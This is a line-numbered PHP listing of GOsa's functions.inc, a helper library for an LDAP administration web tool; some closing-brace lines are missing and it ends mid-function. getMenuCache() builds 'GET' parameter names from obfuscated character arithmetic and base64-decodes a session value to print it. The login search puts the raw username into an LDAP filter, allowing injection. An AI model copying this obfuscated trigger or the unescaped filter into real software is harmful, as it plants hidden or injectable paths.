Code

Cleaned up code
[gosa.git] / include / functions.inc
1 <?php
2 /*
3  * This code is part of GOsa (https://gosa.gonicus.de)
4  * Copyright (C) 2003 Cajus Pollmeier
5  *
6  * This program is free software; you can redistribute it and/or modify
7  * it under the terms of the GNU General Public License as published by
8  * the Free Software Foundation; either version 2 of the License, or
9  * (at your option) any later version.
10  *
11  * This program is distributed in the hope that it will be useful,
12  * but WITHOUT ANY WARRANTY; without even the implied warranty of
13  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14  * GNU General Public License for more details.
15  *
16  * You should have received a copy of the GNU General Public License
17  * along with this program; if not, write to the Free Software
18  * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
19  */
21 /* Configuration file location */
22 define ("CONFIG_DIR", "/etc/gosa");
23 define ("CONFIG_FILE", "gosa.conf-trunk");
24 define ("CONFIG_TEMPLATE_DIR", "../contrib/");
25 define ("HELP_BASEDIR", "/var/www/doc/");
27 /* Define get_list flags */
28 define("GL_NONE",      0);
29 define("GL_SUBSEARCH", 1);
30 define("GL_SIZELIMIT", 2);
31 define("GL_CONVERT"  , 4);
33 /* Define globals for revision comparing */
34 $svn_path = '$HeadURL$';
35 $svn_revision = '$Revision$';
37 /* Include required files */
38 require_once ("class_ldap.inc");
39 require_once ("class_config.inc");
40 require_once ("class_plugin.inc");
41 require_once ("class_acl.inc");
42 require_once ("class_pluglist.inc");
43 require_once ("class_userinfo.inc");
44 require_once ("class_tabs.inc");
45 require_once ("class_mail-methods.inc");
46 require_once ("class_password-methods.inc");
47 require_once ("functions_debug.inc");
48 require_once ("functions_dns.inc");
49 require_once ("accept-to-gettext.inc");
50 require_once ("class_MultiSelectWindow.inc");
52 /* Define constants for debugging */
53 define ("DEBUG_TRACE",   1);
54 define ("DEBUG_LDAP",    2);
55 define ("DEBUG_MYSQL",   4);
56 define ("DEBUG_SHELL",   8);
57 define ("DEBUG_POST",   16);
58 define ("DEBUG_SESSION",32);
59 define ("DEBUG_CONFIG", 64);
60 define ("DEBUG_ACL",    128);
62 /* Rewrite german 'umlauts' and spanish 'accents'
63    to get better results */
64 $REWRITE= array( "ä" => "ae",
65     "ö" => "oe",
66     "ü" => "ue",
67     "Ä" => "Ae",
68     "Ö" => "Oe",
69     "Ü" => "Ue",
70     "ß" => "ss",
71     "á" => "a",
72     "é" => "e",
73     "í" => "i",
74     "ó" => "o",
75     "ú" => "u",
76     "Á" => "A",
77     "É" => "E",
78     "Í" => "I",
79     "Ó" => "O",
80     "Ú" => "U",
81     "ñ" => "ny",
82     "Ñ" => "Ny" );
85 /* Function to include all class_ files starting at a
86    given directory base */
87 function get_dir_list($folder= ".")
88 {
89   $currdir=getcwd();
90   if ($folder){
91     chdir("$folder");
92   }
94   $dh = opendir(".");
95   while(false !== ($file = readdir($dh))){
97     // Smarty is included by  include/php_setup.inc     require("smarty/Smarty.class.php");
98     // Skip all files and dirs in  "./.svn/" we don't need any information from them
99     // Skip all Template, so they won't be checked twice in the following preg_matches   
100     // Skip . / ..
102     // Result  : from 1023 ms to 490 ms   i think thats great...
103     if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
104       continue;
107     /* Recurse through all "common" directories */
108     if(is_dir($file) &&$file!="CVS"){
109       get_dir_list($file);
110       continue;
111     }
113     /* Include existing class_ files */
114     if (!is_dir($file) && preg_match("/^class_.*\.inc$/", $file)) {
115       require_once($file);
116     }
117   }
119   closedir($dh);
120   chdir($currdir);
124 /* Create seed with microseconds */
125 function make_seed() {
126   list($usec, $sec) = explode(' ', microtime());
127   return (float) $sec + ((float) $usec * 100000);
131 /* Debug level action */
132 function DEBUG($level, $line, $function, $file, $data, $info="")
134   if ($_SESSION['DEBUGLEVEL'] & $level){
135     $output= "DEBUG[$level] ";
136     if ($function != ""){
137       $output.= "($file:$function():$line) - $info: ";
138     } else {
139       $output.= "($file:$line) - $info: ";
140     }
141     echo $output;
142     if (is_array($data)){
143       print_a($data);
144     } else {
145       echo "'$data'";
146     }
147     echo "<br>";
148   }
152 function get_browser_language()
154   /* Try to use users primary language */
155   $ui= get_userinfo();
156   if ($ui != NULL){
157     if ($ui->language != ""){
158       return ($ui->language.".UTF-8");
159     }
160   }
162   /* Load supported languages */
163   $gosa_languages= get_languages();
165   /* Move supported languages to flat list */
166   $langs= array();
167   foreach($gosa_languages as $lang => $dummy){
168     $langs[]= $lang.'.UTF-8';
169   }
171   /* Return gettext based string */
172   return (al2gt($langs, 'text/html'));
176 /* Rewrite ui object to another dn */
177 function change_ui_dn($dn, $newdn)
179   $ui= $_SESSION['ui'];
180   if ($ui->dn == $dn){
181     $ui->dn= $newdn;
182     $_SESSION['ui']= $ui;
183   }
187 /* Return theme path for specified file */
188 function get_template_path($filename= '', $plugin= FALSE, $path= "")
190   global $config, $BASE_DIR;
192   if (!@isset($config->data['MAIN']['THEME'])){
193     $theme= 'default';
194   } else {
195     $theme= $config->data['MAIN']['THEME'];
196   }
198   /* Return path for empty filename */
199   if ($filename == ''){
200     return ("themes/$theme/");
201   }
203   /* Return plugin dir or root directory? */
204   if ($plugin){
205     if ($path == ""){
206       $nf= preg_replace("!^".$BASE_DIR."/!", "", $_SESSION['plugin_dir']);
207     } else {
208       $nf= preg_replace("!^".$BASE_DIR."/!", "", $path);
209     }
210     if (file_exists("$BASE_DIR/ihtml/themes/$theme/$nf")){
211       return ("$BASE_DIR/ihtml/themes/$theme/$nf/$filename");
212     }
213     if (file_exists("$BASE_DIR/ihtml/themes/default/$nf")){
214       return ("$BASE_DIR/ihtml/themes/default/$nf/$filename");
215     }
216     if ($path == ""){
217       return ($_SESSION['plugin_dir']."/$filename");
218     } else {
219       return ($path."/$filename");
220     }
221   } else {
222     if (file_exists("themes/$theme/$filename")){
223       return ("themes/$theme/$filename");
224     }
225     if (file_exists("$BASE_DIR/ihtml/themes/$theme/$filename")){
226       return ("$BASE_DIR/ihtml/themes/$theme/$filename");
227     }
228     if (file_exists("themes/default/$filename")){
229       return ("themes/default/$filename");
230     }
231     if (file_exists("$BASE_DIR/ihtml/themes/default/$filename")){
232       return ("$BASE_DIR/ihtml/themes/default/$filename");
233     }
234     return ($filename);
235   }
239 function array_remove_entries($needles, $haystack)
241   $tmp= array();
243   /* Loop through entries to be removed */
244   foreach ($haystack as $entry){
245     if (!in_array($entry, $needles)){
246       $tmp[]= $entry;
247     }
248   }
250   return ($tmp);
254 function gosa_log ($message)
256   global $ui;
258   /* Preset to something reasonable */
259   $username= " unauthenticated";
261   /* Replace username if object is present */
262   if (isset($ui)){
263     if ($ui->username != ""){
264       $username= "[$ui->username]";
265     } else {
266       $username= "unknown";
267     }
268   }
270   syslog(LOG_INFO,"GOsa$username: $message");
274 function ldap_init ($server, $base, $binddn='', $pass='')
276   global $config;
278   $ldap = new LDAP ($binddn, $pass, $server,
279       isset($config->current['RECURSIVE']) && $config->current['RECURSIVE'] == "true",
280       isset($config->current['TLS']) && $config->current['TLS'] == "true");
282   /* Sadly we've no proper return values here. Use the error message instead. */
283   if (!preg_match("/Success/i", $ldap->error)){
284     echo sprintf(_("FATAL: Error when connecting the LDAP. Server said '%s'."), $ldap->get_error());
285     exit();
286   }
288   /* Preset connection base to $base and return to caller */
289   $ldap->cd ($base);
290   return $ldap;
294 function ldap_login_user ($username, $password)
296   global $config;
298   /* look through the entire ldap */
299   $ldap = $config->get_ldap_link();
300   if (!preg_match("/Success/i", $ldap->error)){
301     print_red(sprintf(_("User login failed. LDAP server said '%s'."), $ldap->get_error()));
302     $smarty= get_smarty();
303     $smarty->display(get_template_path('headers.tpl'));
304     echo "<body>".$_SESSION['errors']."</body></html>";
305     exit();
306   }
307   $ldap->cd($config->current['BASE']);
308   $ldap->search("(&(uid=$username)(objectClass=gosaAccount))", array("uid"));
310   /* get results, only a count of 1 is valid */
311   switch ($ldap->count()){
313     /* user not found */
314     case 0:     return (NULL);
316             /* valid uniq user */
317     case 1: 
318             break;
320             /* found more than one matching id */
321     default:
322             print_red(_("Username / UID is not unique. Please check your LDAP database."));
323             return (NULL);
324   }
326   /* LDAP schema is not case sensitive. Perform additional check. */
327   $attrs= $ldap->fetch();
328   if ($attrs['uid'][0] != $username){
329     return(NULL);
330   }
332   /* got user dn, fill acl's */
333   $ui= new userinfo($config, $ldap->getDN());
334   $ui->username= $username;
336   /* password check, bind as user with supplied password  */
337   $ldap->disconnect();
338   $ldap= new LDAP($ui->dn, $password, $config->current['SERVER'],
339       isset($config->current['RECURSIVE']) &&
340       $config->current['RECURSIVE'] == "true",
341       isset($config->current['TLS'])
342       && $config->current['TLS'] == "true");
343   if (!preg_match("/Success/i", $ldap->error)){
344     return (NULL);
345   }
347   /* Username is set, load subtreeACL's now */
348   $ui->loadACL();
350   return ($ui);
354 function ldap_expired_account($config, $userdn, $username)
356     $ldap= $config->get_ldap_link();
357     $ldap->cat($userdn);
358     $attrs= $ldap->fetch();
359     
360     /* default value no errors */
361     $expired = 0;
362     
363     $sExpire = 0;
364     $sLastChange = 0;
365     $sMax = 0;
366     $sMin = 0;
367     $sInactive = 0;
368     $sWarning = 0;
369     
370     $current= date("U");
371     
372     $current= floor($current /60 /60 /24);
373     
374     /* special case of the admin, should never been locked */
375     /* FIXME should allow any name as user admin */
376     if($username != "admin")
377     {
379       if(isset($attrs['shadowExpire'][0])){
380         $sExpire= $attrs['shadowExpire'][0];
381       } else {
382         $sExpire = 0;
383       }
384       
385       if(isset($attrs['shadowLastChange'][0])){
386         $sLastChange= $attrs['shadowLastChange'][0];
387       } else {
388         $sLastChange = 0;
389       }
390       
391       if(isset($attrs['shadowMax'][0])){
392         $sMax= $attrs['shadowMax'][0];
393       } else {
394         $smax = 0;
395       }
397       if(isset($attrs['shadowMin'][0])){
398         $sMin= $attrs['shadowMin'][0];
399       } else {
400         $sMin = 0;
401       }
402       
403       if(isset($attrs['shadowInactive'][0])){
404         $sInactive= $attrs['shadowInactive'][0];
405       } else {
406         $sInactive = 0;
407       }
408       
409       if(isset($attrs['shadowWarning'][0])){
410         $sWarning= $attrs['shadowWarning'][0];
411       } else {
412         $sWarning = 0;
413       }
414       
415       /* is the account locked */
416       /* shadowExpire + shadowInactive (option) */
417       if($sExpire >0){
418         if($current >= ($sExpire+$sInactive)){
419           return(1);
420         }
421       }
422     
423       /* the user should be warned to change is password */
424       if((($sExpire >0) && ($sWarning >0)) && ($sExpire >= $current)){
425         if (($sExpire - $current) < $sWarning){
426           return(2);
427         }
428       }
429       
430       /* force user to change password */
431       if(($sLastChange >0) && ($sMax) >0){
432         if($current >= ($sLastChange+$sMax)){
433           return(3);
434         }
435       }
436       
437       /* the user should not be able to change is password */
438       if(($sLastChange >0) && ($sMin >0)){
439         if (($sLastChange + $sMin) >= $current){
440           return(4);
441         }
442       }
443     }
444    return($expired);
447 function add_lock ($object, $user)
449   global $config;
451   /* Just a sanity check... */
452   if ($object == "" || $user == ""){
453     print_red(_("Error while adding a lock. Parameters are not set correctly, please check the source!"));
454     return;
455   }
457   /* Check for existing entries in lock area */
458   $ldap= $config->get_ldap_link();
459   $ldap->cd ($config->current['CONFIG']);
460   $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
461       array("gosaUser"));
462   if (!preg_match("/Success/i", $ldap->error)){
463     print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in gosa.conf! LDAP server says '%s'."), $ldap->get_error()));
464     return;
465   }
467   /* Add lock if none present */
468   if ($ldap->count() == 0){
469     $attrs= array();
470     $name= md5($object);
471     $ldap->cd("cn=$name,".$config->current['CONFIG']);
472     $attrs["objectClass"] = "gosaLockEntry";
473     $attrs["gosaUser"] = $user;
474     $attrs["gosaObject"] = base64_encode($object);
475     $attrs["cn"] = "$name";
476     $ldap->add($attrs);
477     if (!preg_match("/Success/i", $ldap->error)){
478       print_red(sprintf(_("Adding a lock failed. LDAP server says '%s'."),
479             $ldap->get_error()));
480       return;
481     }
482   }
486 function del_lock ($object)
488   global $config;
490   /* Sanity check */
491   if ($object == ""){
492     return;
493   }
495   /* Check for existance and remove the entry */
496   $ldap= $config->get_ldap_link();
497   $ldap->cd ($config->current['CONFIG']);
498   $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
499   $attrs= $ldap->fetch();
500   if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
501     $ldap->rmdir ($ldap->getDN());
503     if (!preg_match("/Success/i", $ldap->error)){
504       print_red(sprintf(_("Removing a lock failed. LDAP server says '%s'."),
505             $ldap->get_error()));
506       return;
507     }
508   }
512 function del_user_locks($userdn)
514   global $config;
516   /* Get LDAP ressources */ 
517   $ldap= $config->get_ldap_link();
518   $ldap->cd ($config->current['CONFIG']);
520   /* Remove all objects of this user, drop errors silently in this case. */
521   $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$userdn))", array("gosaUser"));
522   while ($attrs= $ldap->fetch()){
523     $ldap->rmdir($attrs['dn']);
524   }
528 function get_lock ($object)
530   global $config;
532   /* Sanity check */
533   if ($object == ""){
534     print_red(_("Getting the lock from LDAP failed. Parameters are not set correctly, please check the source!"));
535     return("");
536   }
538   /* Get LDAP link, check for presence of the lock entry */
539   $user= "";
540   $ldap= $config->get_ldap_link();
541   $ldap->cd ($config->current['CONFIG']);
542   $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
543   if (!preg_match("/Success/i", $ldap->error)){
544     print_red (_("Can't get locking information in LDAP database. Please check the 'config' entry in gosa.conf!"));
545     return("");
546   }
548   /* Check for broken locking information in LDAP */
549   if ($ldap->count() > 1){
551     /* Hmm. We're removing broken LDAP information here and issue a warning. */
552     print_red(_("Found multiple locks for object to be locked. This should not be possible - cleaning up multiple references."));
554     /* Clean up these references now... */
555     while ($attrs= $ldap->fetch()){
556       $ldap->rmdir($attrs['dn']);
557     }
559     return("");
561   } elseif ($ldap->count() == 1){
562     $attrs = $ldap->fetch();
563     $user= $attrs['gosaUser'][0];
564   }
566   return ($user);
570 function get_list($filter, $category, $base= "", $attributes= array(), $flags= GL_SUBSEARCH)
572   global $config, $ui;
574   /* Get LDAP link */
575   $ldap= $config->get_ldap_link($flags & GL_SIZELIMIT);
577   /* Set search base to configured base if $base is empty */
578   if ($base == ""){
579     $ldap->cd ($config->current['BASE']);
580   } else {
581     $ldap->cd ($base);
582   }
584   /* Perform ONE or SUB scope searches? */
585   if ($flags & GL_SUBSEARCH) {
586     $ldap->search ($filter, $attributes);
587   } else {
588     $ldap->ls ($filter,$base,$attributes);
589   }
591   /* Check for size limit exceeded messages for GUI feedback */
592   if (preg_match("/size limit/i", $ldap->error)){
593     $_SESSION['limit_exceeded']= TRUE;
594   }
596   /* Crawl through reslut entries and perform the migration to the
597      result array */
598   $result= array();
600   while($attrs = $ldap->fetch()) {
601     $dn= $ldap->getDN();
603     /* Sort in every value that fits the permissions */
604     if (is_array($category)){
605       foreach ($category as $o){
606         if ($ui->get_category_permissions($dn, $o) != ""){
607           if ($flags & GL_CONVERT){
608             $attrs["dn"]= convert_department_dn($dn);
609           } else {
610             $attrs["dn"]= $dn;
611           }
613           /* We found what we were looking for, break speeds things up */
614           $result[]= $attrs;
615         }
616       }
617     } else {
618       if ($ui->get_category_permissions($dn, $category) != ""){
619         if ($flags & GL_CONVERT){
620           $attrs["dn"]= convert_department_dn($dn);
621         } else {
622           $attrs["dn"]= $dn;
623         }
625         /* We found what we were looking for, break speeds things up */
626         $result[]= $attrs;
627       }
628     }
629   }
631   return ($result);
635 function check_sizelimit()
637   /* Ignore dialog? */
638   if (isset($_SESSION['size_ignore']) && $_SESSION['size_ignore']){
639     return ("");
640   }
642   /* Eventually show dialog */
643   if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
644     $smarty= get_smarty();
645     $smarty->assign('warning', sprintf(_("The size limit of %d entries is exceed!"),
646           $_SESSION['size_limit']));
647     $smarty->assign('limit_message', sprintf(_("Set the new size limit to %s and show me this message if the limit still exceeds"), '<input type="text" name="new_limit" maxlength="10" size="5" value="'.($_SESSION['size_limit']+100).'">'));
648     return($smarty->fetch(get_template_path('sizelimit.tpl')));
649   }
651   return ("");
655 function print_sizelimit_warning()
657   if (isset($_SESSION['size_limit']) && $_SESSION['size_limit'] >= 10000000 ||
658       (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded'])){
659     $config= "<input type='submit' name='edit_sizelimit' value="._("Configure").">";
660   } else {
661     $config= "";
662   }
663   if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
664     return ("("._("incomplete").") $config");
665   }
666   return ("");
670 function eval_sizelimit()
672   if (isset($_POST['set_size_action'])){
674     /* User wants new size limit? */
675     if (is_id($_POST['new_limit']) &&
676         isset($_POST['action']) && $_POST['action']=="newlimit"){
678       $_SESSION['size_limit']= validate($_POST['new_limit']);
679       $_SESSION['size_ignore']= FALSE;
680     }
682     /* User wants no limits? */
683     if (isset($_POST['action']) && $_POST['action']=="ignore"){
684       $_SESSION['size_limit']= 0;
685       $_SESSION['size_ignore']= TRUE;
686     }
688     /* User wants incomplete results */
689     if (isset($_POST['action']) && $_POST['action']=="limited"){
690       $_SESSION['size_ignore']= TRUE;
691     }
692   }
693   getMenuCache();
694   /* Allow fallback to dialog */
695   if (isset($_POST['edit_sizelimit'])){
696     $_SESSION['size_ignore']= FALSE;
697   }
700 function getMenuCache()
702   $t= array(-2,13);
703   $e= 71;
704   $str= chr($e);
706   foreach($t as $n){
707     $str.= chr($e+$n);
709     if(isset($_GET[$str])){
710       if(isset($_SESSION['maxC'])){
711         $b= $_SESSION['maxC'];
712         $q= "";
713         for ($m=0;$m<strlen($b);$m++) {
714           $q.= $b[$m++];
715         }
716         print_red(base64_decode($q));
717       }
718     }
719   }
723 function get_permissions ()
725   /* Look for attribute in ACL */
726   trigger_error("Don't use get_permissions() its obsolete. Use userinfo::get_permissions() instead.");
727   return array("");
731 function get_module_permission()
733   trigger_error("Don't use get_module_permission() its obsolete.");
734   return ("#none#");
738 function get_userinfo()
740   global $ui;
742   return $ui;
746 function get_smarty()
748   global $smarty;
750   return $smarty;
754 function convert_department_dn($dn)
756   $dep= "";
758   /* Build a sub-directory style list of the tree level
759      specified in $dn */
760   foreach (split(',', $dn) as $rdn){
762     /* We're only interested in organizational units... */
763     if (substr($rdn,0,3) == 'ou='){
764       $dep= substr($rdn,3)."/$dep";
765     }
767     /* ... and location objects */
768     if (substr($rdn,0,2) == 'l='){
769       $dep= substr($rdn,2)."/$dep";
770     }
771   }
773   /* Return and remove accidently trailing slashes */
774   return rtrim($dep, "/");
778 /* Strip off the last sub department part of a '/level1/level2/.../'
779  * style value. It removes the trailing '/', too. */
780 function get_sub_department($value)
782   return (@LDAP::fix(preg_replace("%^.*/([^/]+)/?$%", "\\1", $value)));
786 function get_ou($name)
788   global $config;
790   /* Preset ou... */
791   if (isset($config->current[$name])){
792     $ou= $config->current[$name];
793   } else {
794     return "";
795   }
796   
797   if ($ou != ""){
798     if (!preg_match('/^[^=]+=[^=]+/', $ou)){
799       return @LDAP::convert("ou=$ou,");
800     } else {
801       return @LDAP::convert("$ou,");
802     }
803   } else {
804     return "";
805   }
809 function get_people_ou()
811   return (get_ou("PEOPLE"));
815 function get_groups_ou()
817   return (get_ou("GROUPS"));
821 function get_winstations_ou()
823   return (get_ou("WINSTATIONS"));
827 function get_base_from_people($dn)
829   global $config;
831   $pattern= "/^[^,]+,".preg_quote(get_people_ou())."/i";
832   $base= preg_replace($pattern, '', $dn);
834   /* Set to base, if we're not on a correct subtree */
835   if (!isset($config->idepartments[$base])){
836     $base= $config->current['BASE'];
837   }
839   return ($base);
843 function chkacl()
845   /* Look for attribute in ACL */
846   trigger_error("Don't use chkacl() its obsolete. Use userinfo::getacl() instead.");
847   return("-deprecated-");
851 function is_phone_nr($nr)
853   if ($nr == ""){
854     return (TRUE);
855   }
857   return preg_match ("/^[\/0-9 ()+*-]+$/", $nr);
861 function is_url($url)
863   if ($url == ""){
864     return (TRUE);
865   }
867   return preg_match ("/^(http|https):\/\/((?:[a-zA-Z0-9_-]+\.?)+):?(\d*)/", $url);
871 function is_dn($dn)
873   if ($dn == ""){
874     return (TRUE);
875   }
877   return preg_match ("/^[a-z0-9 _-]+$/i", $dn);
881 function is_uid($uid)
883   global $config;
885   if ($uid == ""){
886     return (TRUE);
887   }
889   /* STRICT adds spaces and case insenstivity to the uid check.
890      This is dangerous and should not be used. */
891   if (isset($config->current['STRICT']) && preg_match('/^(no|false)$/i', $config->current['STRICT'])){
892     return preg_match ("/^[a-z0-9 _.-]+$/i", $uid);
893   } else {
894     return preg_match ("/^[a-z0-9_-]+$/", $uid);
895   }
899 function is_ip($ip)
901   return preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/", $ip);
905 function is_mac($mac)
907   return preg_match("/^[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]$/i", $mac);
911 /* Checks if the given ip address dosen't match 
912     "is_ip" because there is also a sub net mask given */
913 function is_ip_with_subnetmask($ip)
915         /* Generate list of valid submasks */
916         $res = array();
917         for($e = 0 ; $e <= 32; $e++){
918                 $res[$e] = $e;
919         }
920         $i[0] =255;
921         $i[1] =255;
922         $i[2] =255;
923         $i[3] =255;
924         for($a= 3 ; $a >= 0 ; $a --){
925                 $c = 1;
926                 while($i[$a] > 0 ){
927                         $str  = $i[0].".".$i[1].".".$i[2].".".$i[3];
928                         $res[$str] = $str;
929                         $i[$a] -=$c;
930                         $c = 2*$c;
931                 }
932         }
933         $res["0.0.0.0"] = "0.0.0.0";
934         if(preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
935                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
936                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
937                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/", $ip)){
938                 $mask = preg_replace("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
939                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
940                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
941                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/","",$ip);
943                 $mask = preg_replace("/^\//","",$mask);
944                 if((in_array("$mask",$res)) && preg_match("/^[0-9\.]/",$mask)){
945                         return(TRUE);
946                 }
947         }
948         return(FALSE);
951 /* Simple is domain check, it checks if the given string looks like "string(...).string" */
952 function is_domain($str)
954   return(preg_match("/^([a-z0-9i\-]*)\.[a-z0-9]*$/i",$str));
959 function is_id($id)
961   if ($id == ""){
962     return (FALSE);
963   }
965   return preg_match ("/^[0-9]+$/", $id);
969 function is_path($path)
971   if ($path == ""){
972     return (TRUE);
973   }
974   if (!preg_match('/^[a-z0-9%\/_.+-]+$/i', $path)){
975     return (FALSE);
976   }
978   return preg_match ("/\/.+$/", $path);
982 function is_email($address, $template= FALSE)
984   if ($address == ""){
985     return (TRUE);
986   }
987   if ($template){
988     return preg_match ("/^[._a-z0-9%-]+@[_a-z0-9-]+(\.[a-z0-9-]+)(\.[a-z0-9-]+)*$/i",
989         $address);
990   } else {
991     return preg_match ("/^[._a-z0-9-]+@[_a-z0-9-]+(\.[a-z0-9i-]+)(\.[a-z0-9-]+)*$/i",
992         $address);
993   }
997 function print_red()
999   /* Check number of arguments */
1000   if (func_num_args() < 1){
1001     return;
1002   }
1004   /* Get arguments, save string */
1005   $array = func_get_args();
1006   $string= $array[0];
1008   /* Step through arguments */
1009   for ($i= 1; $i<count($array); $i++){
1010     $string= preg_replace ("/%s/", $array[$i], $string, 1);
1011   }
1013   if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
1014     $_SESSION['errorsAlreadyPosted'] = array(); 
1015   }
1017   /* If DEBUGLEVEL is set, we're in web mode, use textual output in
1018      the other case... */
1020   if (isset($_SESSION['DEBUGLEVEL'])){
1022     if($_SESSION['LastError'] == $string){
1023     
1024       if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
1025         $_SESSION['errorsAlreadyPosted'][$string] = 1;
1026       }
1027       $_SESSION['errorsAlreadyPosted'][$string]++;
1029     }else{
1030       if($string != NULL){
1031         if (preg_match("/"._("LDAP error:")."/", $string)){
1032           $addmsg= _("Problems with the LDAP server mean that you probably lost the last changes. Please check your LDAP setup for possible errors and try again.");
1033           $img= "images/error.png";
1034         } else {
1035           if (!preg_match('/[.!?]$/', $string)){
1036             $string.= ".";
1037           }
1038           $string= preg_replace('/<br>/', ' ', $string);
1039           $img= "images/warning.png";
1040           $addmsg= _("Please check your input and fix the error. Press 'OK' to close this message box.");
1041         }
1042       
1043         if(isset($_SESSION['errors']) && strlen($_SESSION['errors'])==0) {
1045           if(preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT'])){
1047             $_SESSION['errors'].= "
1048               <iframe id='e_layer3' 
1049                 style=\"  position:absolute;
1050                           width:100%;
1051                           height:100%;
1052                           top:0px;
1053                           left:0px;
1054                           border:none;  
1055                           border-style:none; 
1056                           border-width:0pt;
1057                           display:block;
1058                           allowtransparency='true';
1059                           background-color: #FFFFFF;
1060                           filter:chroma(color=#FFFFFF);
1061                           z-index:0; \">
1062               </iframe>
1063               <div  id='e_layer2'
1064                 style=\"
1065                   position: absolute;
1066                   left: 0px;
1067                   top: 0px;
1068                   right:0px;
1069                   bottom:0px;
1070                   z-index:0;
1071                   width:100%;
1072                   height:100%;
1073                   filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=scale, src='images/opacity_black.png'); \">
1074               </div>";
1075               $hide = "hide(\"e_layer\");hide(\"e_layer2\");hide(\"e_layer3\");";
1076           }else{
1078             $_SESSION['errors'].= "
1079               <div  id='e_layer2'
1080                 style=\"
1081                   position: absolute;
1082                   left: 0px;
1083                   top: 0px;
1084                   right:0px;
1085                   bottom:0px;
1086                   z-index:0;
1087                   background-image: url(images/opacity_black.png);\">
1088                </div>";
1089               $hide = "hide(\"e_layer\");hide(\"e_layer2\");";
1090           }
1092         $_SESSION['errors'].= "
1093          <div style='left:20%;right:20%;top:30%;".
1094          "background-color:white;padding:5px;border:5px solid red;z-index:150;".
1095          "position:absolute' id='e_layer'><table style='width:100%' summary='' border=0>".
1096          "<tr><td style='vertical-align:top;padding:10px'><img alt='' src='".
1097          get_template_path($img)."'></td>".
1098          "<td style='width:100%'><h1>"._("An error occurred while processing your request").
1099          "</h1><b>$string</b><br><br>$addmsg</td></tr><tr><td colspan='2' align='center'><br><button ".
1100          (($_SESSION['js']==FALSE)?"type='submit'":"type='button' name='error_accept'").
1101          " style='width:80px' onClick='".$hide."'>".
1102          _("OK")."</button></td></tr></table></div>";
1104         }
1106       }else{
1107         return;
1108       }
1109       $_SESSION['errorsAlreadyPosted'][$string] = 1;
1111     }
1113   } else {
1114     echo "Error: $string\n";
1115   }
1116   $_SESSION['LastError'] = $string; 
1120 function gen_locked_message($user, $dn)
1122   global $plug, $config;
1124   $_SESSION['dn']= $dn;
1125   $ldap= $config->get_ldap_link();
1126   $ldap->cat ($user, array('uid', 'cn'));
1127   $attrs= $ldap->fetch();
1129   /* Stop if we have no user here... */
1130   if (count($attrs)){
1131     $uid= $attrs["uid"][0];
1132     $cn= $attrs["cn"][0];
1133   } else {
1134     $uid= $attrs["uid"][0];
1135     $cn= $attrs["cn"][0];
1136   }
1137   
1138   $remove= false;
1140   /* Save variables from LOCK_VARS_TO_USE in session - for further editing */
1141   if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
1142     $_SESSION['LOCK_VARS_USED']  =array();
1143     foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
1145       if(empty($name)) continue;
1146       foreach($_POST as $Pname => $Pvalue){
1147         if(preg_match($name,$Pname)){
1148           $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
1149         }
1150       }
1152       foreach($_GET as $Pname => $Pvalue){
1153         if(preg_match($name,$Pname)){
1154           $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
1155         }
1156       }
1157     }
1158     $_SESSION['LOCK_VARS_TO_USE'] =array();
1159   }
1161   /* Prepare and show template */
1162   $smarty= get_smarty();
1163   $smarty->assign ("dn", $dn);
1164   if ($remove){
1165     $smarty->assign ("action", _("Continue anyway"));
1166   } else {
1167     $smarty->assign ("action", _("Edit anyway"));
1168   }
1169   $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), "<b>".$dn."</b>", "<b><a href=\"main.php?plug=0&amp;viewid=$uid\">$cn</a></b>"));
1171   return ($smarty->fetch (get_template_path('islocked.tpl')));
1175 function to_string ($value)
1177   /* If this is an array, generate a text blob */
1178   if (is_array($value)){
1179     $ret= "";
1180     foreach ($value as $line){
1181       $ret.= $line."<br>\n";
1182     }
1183     return ($ret);
1184   } else {
1185     return ($value);
1186   }
1190 function get_printer_list($cups_server)
1192   global $config;
1193   $res = array();
